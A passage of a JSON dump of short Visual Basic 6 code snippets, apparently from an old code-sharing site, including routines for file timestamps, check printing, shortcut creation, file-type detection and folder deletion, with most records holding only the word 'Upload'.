Integer\n wDayOfWeek As Integer\n wDay As Integer\n wHour As Integer\n wMinute As Integer\n wSecond As Integer\n wMilliseconds As Integer\nEnd Type\nPrivate Sub Command1_Click()\nDim fHandle As Long\nDim FILE_NAME As String\nFILE_NAME = \"c:\\test.txt\" 'File with the dates to change\nDim FTime As FILETIME\nfHandle = CreateFile(FILE_NAME, GENERIC_WRITE Or GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)\nIf fHandle <> INVALID_HANDLE_VALUE Then\n FTime = GetSysTimeAsFILETIME\n SetFileTime fHandle, FTime, FTime, FTime\n CloseHandle fHandle\nEnd If\nEnd Sub\nPrivate Function GetSysTimeAsFILETIME() As FILETIME\nDim SysTime As SYSTEMTIME\nDim FTime As FILETIME\nDim erg As Long\nGetSystemTime SysTime\nerg = SystemTimeToFileTime(SysTime, FTime)\nGetSysTimeAsFILETIME = FTime\nEnd Function"},{"WorldId":1,"id":7639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7757,"LineNumber":1,"line":"Public Function LCaseKeyPress(ByRef KeyAscii As Integer) As Integer\n ' Useful in the KeyPress event to convert entry to LCase()\n LCaseKeyPress = Asc(LCase(Chr(KeyAscii)))\nEnd Function\nPublic Function UCaseKeyPress(ByRef KeyAscii As Integer) As Integer\n ' Useful in the KeyPress event to convert entry to UCase()\n UCaseKeyPress = Asc(UCase(Chr(KeyAscii)))\nEnd Function\n"},{"WorldId":1,"id":9931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9736,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7649,"LineNumber":1,"line":"'Note: Place a command button named \"Command1\" on a form...\nPrivate Sub Command1_Click()\nDim fileblock(60000000) As Byte\n'opens a file to output to\nOpen \"c:\\windows\\temp\\tempfile.dat\" For Binary As #1\n'creates a massive string to write to the file\nFor i = 1 To 1000000\nfileblock(i) = 1\nNext i\n'this is the loop. it keeps going until the file reaches the size you set in the txtfilesize box\nDo Until LOF(1) > txtfilesize\nPut #1, , fileblock\nDoEvents\nLoop\n'closes the file\nClose #1\n'this deletes the file you just made\nKill \"c:\\windows\\temp\\tempfile.dat\"\nEnd Sub"},{"WorldId":1,"id":7656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8269,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7907,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7903,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8751,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8496,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9382,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9458,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8725,"LineNumber":1,"line":"Run the exported Registry file by double clicking on it. Now right click on a .DLL or .OCX file in the explorer. Notice the new menu option in the context menu. You can edit the .reg file using Notepad.exe and change the menu caption Or associate more programs with the same extension.\nIf you don't see the new menu option you will have to locate the regsvr32.exe and change its path in the .REG file and run(double click) it again.\n\nHave fun !"},{"WorldId":1,"id":7814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7791,"LineNumber":1,"line":"'Code provided by Alpha Media Inc.\n'http://www.alphamedia.net\n'Makers of Pink Notes Plus!\n'http://www.pinknotesplus.com\nPrivate Sub Timer1_Timer()\n Dim String2 As String\n Dim String1 As String\n If Direction = \"Left\" Then\n String2 = Left$(Caption, 1)\n String1 = Right$(Caption, Len(Caption) - 1)\n ElseIf Direction = \"Right\" Then\n String1 = Right$(Caption, 1)\n String2 = Left$(Caption, Len(Caption) - 1)\n End If\n \n Caption = String1 & String2\nEnd Sub"},{"WorldId":1,"id":8259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10366,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10369,"LineNumber":1,"line":"Public Sub iniWrite(sFileName As String, sKey As String, sSection As String, ByVal sValue As String)\nDim iW As String\niW = WritePrivateProfileString(sSection, sKey, sValue, sFileName)\nEnd Sub\nPrivate Sub Command1_Click()\niniWrite \"C:\\Windows\\Desktop\\File.ini\", \"Neat\", \"Pretty\", \"Huh?\"\nEnd Sub\n'Have Fun!"},{"WorldId":1,"id":10373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7911,"LineNumber":1,"line":"'This module was made for printing data on preprinted 3 part laser checks\n'With the actual check at the top, and 2 stub sections below\n'It is designed specifically for McBee Form LTM101-1R (I believe this is the form #)\n' J13,20000410,01018020602001,000001012900 are also #'s that are on the side I'm sure any\n'\n'I made this to get the data from an array so you can use the code and learn about the Printer Object\n'without a data base. DoCheckDemo will print a random check for you just place a button on a form\n'add this module and put DoCheckDemo in the OnClick Event of the button\n'\n'It will print 80 line items on these checks , to use this on any other form should be as easy as\n'modifying the values in Init3PartLaserChecks in the event you want to use them with a current\n'form that may have the check in the middle or on the bottom.\n'\n'I have taken great care to name these variables descriptive therefore they are long, but descriptive\n'Also there are very few examples of programs showing programatic use of the printer.object\n'so there are things in here that are not necessarily the best (or easiest) way, but\n'it shows FUNCTIONAL use of the Printer.TextHeight and Printer.TextWidth\n'\n'If you use this in a program please let me know, at least say thanks and let me see what you did with it\n'Also, if you know how I could have done this in Crystal Reports E-mail me w/ info\n'\n'\n\nPublic StubItems(80, 4) As String 'Up to 50 items per check stub each item can have 5 columns\nPublic StubHeader(5, 1) As Variant '\nPublic CheckItems(8) '0=PayStr 1=ChkDate 2=ChkAmt 3-PayName 4=PayAdd1\n ' 5=PatAdd2,6=CityStZip, 7=Attn (Optional If Present goes after PayName)\nPublic StubItemCount As Integer 'The number of invoices that are paid on the check (# line items on stubs)\nPublic StubHeaderFields As Byte\nPublic MaxStubLines As Byte 'Maximum # of lines to print on each stub\nPublic PayAmtString As String 'NINE THOUSAND NINE HUNDRED etc..\nPublic PayAmtStringX As Integer 'X,Y Location to Print NINE THOUSAND NINE HUNDRED etc..\nPublic PayAmtStringY As Integer\nPublic CheckTopY As Integer 'Top of Check 0 is fine unless the check is in a position other than the top of the page\nPublic EnvWinTopY As Integer 'Cordinates of where on the page the Name address should go\nPublic EnvWinBotY As Integer 'So they show up in the envelope window\nPublic EnvWinLeftX As Integer\nPublic EnvWinRightX As Integer\nPublic EnvWinFontSize As Integer\nPublic ChkDate As String 'Check Date\nPublic ChkDateX As Integer 'X,Y Location to print Check Date\nPublic ChkDateY As Integer\nPublic ChkAmt As String '$9,999.99\nPublic ChkAmtX As Integer 'X,Y Location to print\nPublic ChkAmtY As Integer\nPublic StubSpacing As Integer 'Horizontal spacing of Stub Columns\nPublic Stub1TopY As Integer 'Top and bottom value (Y) of stub1 and 2\nPublic Stub2TopY As Integer 'The bottom values are not actually used yet\nPublic Stub1BotY As Integer 'but will be needed to make the routine dynamically size the font and\nPublic Stub2BotY As Integer 'change the spacing for varying #'s of line items\nPublic ChkStubColSpace As Integer\nPublic ChkStubSect1StartX As Integer\n\nSub Print3PartLaserChecks(StubLines As Integer)\nStubItemCount = StubLines\nIf StubItemCount < 1 Then Exit Sub\nPrintCheck\nPrintStubs StubItemCount\n'Printer.KillDoc\nPrinter.EndDoc\nEnd Sub\nSub Init3PartLaserChecks()\nMaxStubLines = 80\nCheckTopY = 0\nChkDateX = 7750 'X,Y Location to print Check Date\nChkDateY = 2250\nPayAmtStringX = 1250 'X,Y Location to Print NINE THOUSAND NINE HUNDRED etc..\nPayAmtStringY = 2250\nChkAmtX = 9600 'X,Y Location to print \"$9,999.99\"\nChkAmtY = 2250\nEnvWinTopY = 3000 'X,Y Locations of area of Laser check that will show in a standard window envelope\nEnvWinBotY = 3900\nEnvWinLeftX = 1200\nEnvWinRightX = 5500\nStub1TopY = 5100 'The Top (Y) position for Stub 1 ( use a # after perforation so it doesn't print over comp name & check num)\nStub1BotY = 9800 'The Bottom (Y) position for stub 1 (not in use at the moment going to use this for making the\n 'stubs use a range of font sizes depending on the number of items so 60 or so total items\nStub2TopY = 10300 'can be paid with one check using the smallest font but checks with 15 or 20 items will use\nStub2BotY = 13900 'a more reasonable font... Right now on one of the very common layouts using a font size 6\n 'you can get around 60 items per check. This is gonna save a client about 15 checks a month\n 'because the current system can only get 20 entries on a stub then it prints a wasted check\n 'voided with remaining info on subsequent stubs. (sometimes 3 or 4 of them)\nChkStubColSpace = 1100 'Spacing between the headings and stub entries on both stubs\nChkStubSect1StartX = 250 'Sets how far in (in addition to the regular print margin!) to start printing stub headers/entries\n'Define the Stub Header Fields This is probably how anyone will need this, however by changing the array you\n' can add something or remove say DISC AMT (Discount Amt)\nStubHeader(0, 0) = \"INV DATE\"\nStubHeader(1, 0) = \"INV NUM\"\nStubHeader(2, 0) = \"INV AMT\"\nStubHeader(3, 0) = \"DISC AMT\"\nStubHeader(4, 0) = \"AMT PAID\"\nStubHeader(0, 1) = vbLeftJustify\nStubHeader(1, 1) = vbLeftJustify\nStubHeader(2, 1) = vbRightJustify\nStubHeader(3, 1) = vbRightJustify\nStubHeader(4, 1) = vbRightJustify\nStubHeaderFields = 5 'Not really needed but easier for the beginners to understand than UBound\nEnd Sub\n\nSub PrintStubs(StubItemCount)\nDim StubLine As Byte\nDim StubCol As Byte\nDim ChkStubLineItemSpace As Byte\nPrinter.FontSize = 8\nStub1YPos = Printer.TextHeight(\"Z,\") + Stub1TopY\nStub2YPos = Printer.TextHeight(\"Z,\") + Stub2TopY\nPrinter.FontSize = 6\n'Multiplying the following line by .8 just takes away some extra spacing between the lines\n'to get more items on the check\nChkStubLineItemSpace = Printer.TextHeight(StubItems(0, 0)) * 0.8\nPrintStubHeaders StubItemCount\nFor StubLine = 0 To StubItemCount - 1\n 'Next line just checks to see if the line count needs to print in the left or right detail area of the stub\n 'If it does then it just adds 1/2 of the width of the printing area and prints the right with the same format\n 'adding the additional spacing specified by ChkStubSect1StartX (In Init routine)\n 'Saved having to duplicate these in a if then else or an extra loop\n If StubLine > (MaxStubLines / 2) - 1 Then StubLineMult = StubLine - (MaxStubLines / 2) Else StubLineMult = StubLine ' This is The Left Group of Cols on the Stub\n For StubCol = 0 To StubHeaderFields - 1\n Printer.CurrentX = FormatStubLine(StubLine, StubCol)\n Printer.CurrentY = Stub1YPos + (ChkStubLineItemSpace * StubLineMult)\n Printer.Print StubItems(StubLine, StubCol)\n Printer.CurrentX = FormatStubLine(StubLine, StubCol)\n Printer.CurrentY = Stub2YPos + (ChkStubLineItemSpace * StubLineMult)\n Printer.Print StubItems(StubLine, StubCol)\n Next StubCol\nNext StubLine\n\n \nEnd Sub\nFunction FormatStubLine(SLine As Byte, SCol As Byte) As Integer\nIf SLine > (MaxStubLines / 2) - 1 Then StubSect = Printer.ScaleWidth / 2 Else StubSect = 0\n'When you fill the array columns yu can specify vbRightJustify (1) or vbLeftJustify(0 default) in the array\nIf StubHeader(SCol, 1) = vbLeftJustify Then FormatStubLine = ChkStubSect1StartX + StubSect + (ChkStubColSpace * SCol)\nIf StubHeader(SCol, 1) = vbRightJustify Then\n hdrPrintStartX = ChkStubSect1StartX + StubSect + (ChkStubColSpace * SCol)\n hdrPrintWidth = Printer.TextWidth(StubHeader(SCol, 0))\n StubItemPrintWidth = Printer.TextWidth(StubItems(SLine, SCol))\n 'This will Align decimal figures to print right aligned with the header above them\n FormatStubLine = hdrPrintStartX + hdrPrintWidth - StubItemPrintWidth\nEnd If\nEnd Function\nSub PrintStubHeaders(StubItemCount)\nPrinter.FontBold = True\nPrinter.FontUnderline = True\nFor Shdr = 0 To StubHeaderFields - 1\n Printer.CurrentX = ChkStubSect1StartX + (ChkStubColSpace * Shdr)\n Printer.CurrentY = Stub1TopY\n Printer.Print StubHeader(Shdr, 0)\n Printer.CurrentX = ChkStubSect1StartX + (ChkStubColSpace * Shdr)\n Printer.CurrentY = Stub2TopY\n Printer.Print StubHeader(Shdr, 0)\n'Print the 2nd column header only if necessary\n If StubItemCount > (MaxStubLines / 2) - 1 Then\n Printer.CurrentX = ChkStubSect1StartX + (ChkStubColSpace * Shdr) + Printer.ScaleWidth / 2\n Printer.CurrentY = Stub1TopY\n Printer.Print StubHeader(Shdr, 0)\n Printer.CurrentX = ChkStubSect1StartX + (ChkStubColSpace * Shdr) + Printer.ScaleWidth / 2\n Printer.CurrentY = Stub2TopY\n Printer.Print StubHeader(Shdr, 0)\n End If\n 'ChkStubSect1StartX = ChkStubSect1StartX + ChkStubColSpace\nNext Shdr\nPrinter.FontBold = False\nPrinter.FontUnderline = False\n \nEnd Sub\nSub PrintCheck()\n'Dim CheckItems(8) '0=PayStr 1=ChkDate 2=ChkAmt 3-PayName 4=PayAdd1\n' ' 5=PatAdd2,6=CityStZip, 7=Attn (Optional If Present goes after PayName)\nPrinter.CurrentX = PayAmtStringX\nPrinter.CurrentY = PayAmtStringY\nPrinter.Font = \"Arial Narrow\"\nPrinter.FontSize = 10\nPrinter.FontBold = False\nPrinter.Print CheckItems(0) '\"NINE THOUSAND NINE HUNDRED NINETY NINE AND 99/100 ************************\"\nPrinter.CurrentX = ChkDateX\nPrinter.CurrentY = ChkDateY\nPrinter.Font = \"Arial\"\nPrinter.Print CheckItems(1) '\"12/31/2000\"\nPrinter.CurrentX = ChkAmtX\nPrinter.CurrentY = ChkAmtY\nPrinter.FontSize = 12\nPrinter.FontBold = True\nPrinter.Print CheckItems(2) '\"***$9,999.99\"\nPrinter.CurrentX = EnvWinLeftX\nPrinter.CurrentY = EnvWinTopY\nPrinter.FontBold = False\nPrinter.FontSize = 12\nEnvWindowLineCount = 0\nLineHeight = Printer.TextHeight(CheckItems(3))\nPrinter.Print CheckItems(3) ' \"PAYNAMEPAYNAMEPAYNAMEPAYNAME\"\nEnvWindowLineCount = EnvWindowLineCount + 1\nIf Trim(CheckItems(7)) <> \"\" Then\n Printer.FontBold = True\n Printer.FontUnderline = True\n Printer.CurrentX = EnvWinLeftX\n Printer.CurrentY = EnvWinTopY + (LineHeight * EnvWindowLineCount)\n Printer.Print CheckItems(7)\n EnvWindowLineCount = EnvWindowLineCount + 1\n Printer.FontBold = False\n Printer.FontUnderline = False\nEnd If\nPrinter.CurrentX = EnvWinLeftX\nPrinter.CurrentY = EnvWinTopY + (LineHeight * EnvWindowLineCount)\nPrinter.Print CheckItems(4) ' \"PAYADD1PAYADD1PAYADD1PAYADD1\"\nEnvWindowLineCount = EnvWindowLineCount + 1\nIf Trim(CheckItems(5)) <> \"\" Then\n Printer.CurrentX = EnvWinLeftX\n Printer.CurrentY = EnvWinTopY + (LineHeight * EnvWindowLineCount)\n Printer.Print CheckItems(5) ' \"PAYADD2PAYADD2PAYADD2PAYADD2\"\n EnvWindowLineCount = EnvWindowLineCount + 1\nEnd If\nPrinter.CurrentX = EnvWinLeftX\nPrinter.CurrentY = EnvWinTopY + (LineHeight * EnvWindowLineCount)\nPrinter.Print CheckItems(6) ' \"CITYSTATEZIPCITYSTATEZIP\"\nEnd Sub\n\n\nSub DoCheckDemo()\n'Just add a Button to a form and put DoCheckDemo in the on click event\n'This will print a sample of what a check would look like you can then\n'easily play with the values to line them up for your particular need\n'\nInit3PartLaserChecks\nRandomize\n'Init3PartLaserChecks\n '0=PayStr 1=ChkDate 2=ChkAmt 3=PayName 4=PayAdd1, 5=PatAdd2,6=CityStZip, 7=Attn (Optional If Present goes after PayName)\n CheckItems(0) = \"Nine Thousand Nine Hundred Ninety Nine and 99/100 *******************\"\n CheckItems(1) = \"12/31/2000\"\n CheckItems(2) = \"***\" + \"9,999.99\" + \"***\"\n CheckItems(3) = \"John D. Doe\"\n CheckItems(4) = \"123 Anystreet\"\n' CheckItems(5) = \"\"\n CheckItems(6) = \"Anytown, AnyState 99999-9999\"\nFor InsLine = 0 To 79\n StubItems(InsLine, 0) = \"12/31/2000\"\n StubItems(InsLine, 1) = Str(Int((999999 - 999 + 1) * Rnd + 999))\n StubItems(InsLine, 2) = Format((99999.99 - 999.99 + 1) * Rnd + 99.99, \"Currency\")\n StubItems(InsLine, 3) = Format((99.99 - 9.99 + 1) * Rnd + 0.99, \"Currency\")\n StubItems(InsLine, 4) = Format(StubItems(InsLine, 2) - StubItems(InsLine, 3), \"Currency\")\nNext InsLine\nPrint3PartLaserChecks Int(InsLine)\nEnd Sub\n"},{"WorldId":1,"id":8224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9436,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":63970,"LineNumber":1,"line":"Option Explicit\nEnum Windowstyle\n Minimized = 7\n Maximized = 3\n Normal = 1\nEnd Enum\nPublic Function CreateShortcut(Linkpath As String, TargetPath As String, Optional WorkPath As String, Optional HotKey As String = \"\", Optional Description As String = \"\", Optional Winstyle As Windowstyle, Optional Iconnumber As Integer)\n Dim SC As Object\n Set SC = CreateObject(\"Wscript.Shell\").CreateShortcut(Linkpath)\n \n With SC\n .TargetPath = TargetPath\n 'where your shortcuts jumps to\n \n .HotKey = HotKey\n 'can be \"CTRL+SHIFT+E\" (as Str!) for Example\n \n .Description = Description\n 'this should be clear to you\n \n .Windowstyle = Winstyle\n 'Winstyle differs from the typical styles (2 does not mean maximized)\n \n .IconLocation = TargetPath & \", \" & Iconnumber\n 'This will take the Icon for the link from the file its associated with (targetpath)\n 'some files include more than one icon. This is what is meant by Iconnumber.\n \n .WorkingDirectory = WorkPath\n 'The normal Workingdirectory for the file the link calls.\n \n .Save\n 'saves the link [important! :-)]\n End With\nEnd Function\n"},{"WorldId":1,"id":8529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9225,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9711,"LineNumber":1,"line":"Public Function GetFileType(xFile As String) As String\nOn Error Resume Next\nDim ID As String * 300\nIf Dir$(xFile) = \"\" Then\n GetFileType = \"NOT FOUND\"\n Exit Function\nEnd If\nOpen xFile For Binary Access Read As #1\n Get #1, 1, ID\nClose #1\nIf Left(ID, 2) = \"MZ\" Or Left(ID, 2) = \"ZM\" Then\n GetFileType = \"PE Executable\"\n Exit Function\nElseIf Left(ID, 1) = \"[\" And InStr(1, Left(ID, 100), \"]\") > 0 Then\n GetFileType = \"INI File\"\n Exit Function\nElseIf Mid(ID, 9, 8) = \"AVI LIST\" Then\n GetFileType = \"AVI Movie File\"\n Exit Function\nElseIf Left(ID, 4) = \"RIFF\" Then\n GetFileType = \"WAV Audio File\"\n Exit Function\nElseIf Left(ID, 4) = Chr(208) & Chr(207) & Chr(17) & Chr(224) Then\n GetFileType = \"Microsoft Word Document\"\n Exit Function\nElseIf Mid(ID, 5, 15) = \"Standard Jet DB\" Then\n GetFileType = \"Microsoft Access Database\"\n Exit Function\nElseIf Left(ID, 3) = \"GIF\" Or InStr(1, ID, \"GIF89\") > 0 Then\n GetFileType = \"GIF Image File\"\n Exit Function\nElseIf Left(ID, 1) = Chr(255) And Mid(ID, 5, 1) = Chr(0) Then\n GetFileType = \"MP3 Audio File\"\n Exit Function\nElseIf Left(ID, 2) = \"BM\" Then\n GetFileType = \"BMP (Bitmap) Image File\"\n Exit Function\nElseIf Left(ID, 3) = \"II*\" Then\n GetFileType = \"TIFF Image File\"\n Exit Function\nElseIf Left(ID, 2) = \"PK\" Then\n GetFileType = \"ZIP Archive File\"\n Exit Function\nElseIf InStr(1, LCase(ID), \"<html>\") > 0 Or InStr(1, LCase(ID), \"<!doctype\") > 0 Then\n GetFileType = \"HTML Document File\"\n Exit Function\nElseIf UCase(Left(ID, 3)) = \"RAR\" Then\n GetFileType = \"RAR Archive File\"\n Exit Function\nElseIf Left(ID, 2) = Chr(96) & Chr(234) Then\n GetFileType = \"ARJ Archive File\"\n Exit Function\nElseIf Left(ID, 3) = Chr(255) & Chr(216) & Chr(255) Then\n GetFileType = \"JPEG Image File\"\n Exit Function\nElseIf InStr(1, ID, \"Type=\") > 0 And InStr(1, ID, \"Reference=\") > 0 Then\n GetFileType = \"Visual Basic Project File\"\n Exit Function\nElseIf Left(ID, 8) = \"VBGROUP \" Then\n GetFileType = \"Visual Basic Group Project File\"\n Exit Function\nElseIf Left(ID, 8) = \"VERSION \" & InStr(1, ID, vbCrLf & \"Begin\") > 0 Then\n GetFileType = \"Visual Basic Form File\"\n Exit Function\nElse\n 'Unknown file... make a weak attempt to determine if the file is text or binary\n If InStr(1, ID, Chr$(255)) > 0 Or InStr(1, ID, Chr$(1)) > 0 Or InStr(1, ID, Chr$(2)) > 0 Or InStr(1, ID, Chr$(3)) > 0 Then\n GetFileType = \"Unknown binary file\"\n Else\n GetFileType = \"Unknown text file\"\n End If\n Exit Function\nEnd If\nEnd Function\n"},{"WorldId":1,"id":10120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8092,"LineNumber":1,"line":"Public Sub KillFolderTree(sFolder As String)\n Dim sCurrFilename As String\n sCurrFilename = Dir(sFolder & \"\\*.*\", vbDirectory)\n Do While sCurrFilename <> \"\"\n If sCurrFilename <> \".\" And sCurrFilename <> \"..\" Then\n If (GetAttr(sFolder & \"\\\" & sCurrFilename) And vbDirectory) = vbDirectory Then\n Call KillFolderTree(sFolder & \"\\\" & sCurrFilename)\n sCurrFilename = Dir(sFolder & \"\\*.*\", vbDirectory)\n Else\n On Error Resume Next\n Kill sFolder & \"\\\" & sCurrFilename\n On Error Goto 0\n sCurrFilename = Dir\n End If\n Else\n sCurrFilename = Dir\n End If\n Loop\n On Error Resume Next\n RmDir sFolder\nEnd Sub"},{"WorldId":1,"id":8099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3619,"LineNumber":1,"line":"Function FormatCount(Count As Long, Optional FormatType As Byte = 0) As String\n Dim Days As Integer, Hours As Long, Minutes As Long, Seconds As Long, Miliseconds As Long\n \n Miliseconds = Count Mod 1000\n Count = Count \\ 1000\n Days = Count \\ (24& * 3600&)\n If Days > 0 Then Count = Count - (24& * 3600& * Days)\n Hours = Count \\ 3600&\n If Hours > 0 Then Count = Count - (3600& * Hours)\n Minutes = Count \\ 60\n Seconds = Count Mod 60\n Select Case FormatType\n Case 0\n FormatCount = Days & \" dd, \" & Hours & \" h, \" & _\n Minutes & \" min, \" & Seconds & \" s, \" & Miliseconds & _\n \" ms\"\n Case 1\n FormatCount = Days & \" days, \" & Hours & \" hours, \" & _\n Minutes & \" minutes, \" & Seconds & \" seconds, \" & Miliseconds & _\n \" miliseconds\"\n Case 2\n FormatCount = Days & \":\" & Hours & \":\" & _\n Minutes & \":\" & Seconds & \":\" & Miliseconds\n End Select\nEnd Function\n\n"},{"WorldId":1,"id":8760,"LineNumber":1,"line":"' function to intercept keypresses to combo box and allow\n' only valid keys (such as are in list)\n'\nPrivate Sub Combo1_KeyPress(KeyAscii As Integer)\n Dim NewText As String\n Dim ValidCount As Integer\n Dim ValidValue As String\n ' do only if key pressed is printable character\n If KeyAscii >= 32 And KeyAscii <> 127 Then\n \n ' predict new text after keypress\n NewText = LCase(Left(Combo1.Text, Combo1.SelStart) + Chr(KeyAscii) + Mid(Combo1.Text, Combo1.SelStart + Combo1.SelLength + 1))\n \n ' find number of matches in combo list\n ValidCount = 0\n ValidValue = \"\"\n For i = 0 To Combo1.ListCount - 1\n If NewText = LCase(Left(Combo1.List(i), Len(NewText))) Then\n ValidCount = ValidCount + 1\n ValidValue = Combo1.List(i)\n End If\n Next\n \n ' cancel keypress if invalid\n If ValidCount <= 1 Then KeyAscii = 0\n ' select if one match only\n If ValidCount = 1 Then\n Combo1.Text = ValidValue\n Combo1.SelStart = 0\n Combo1.SelLength = Len(ValidValue)\n End If\n End If\nEnd Sub\n"},{"WorldId":1,"id":8114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8121,"LineNumber":1,"line":"'(C) Copyright 1999 Matt Fredrikson\nPrivate 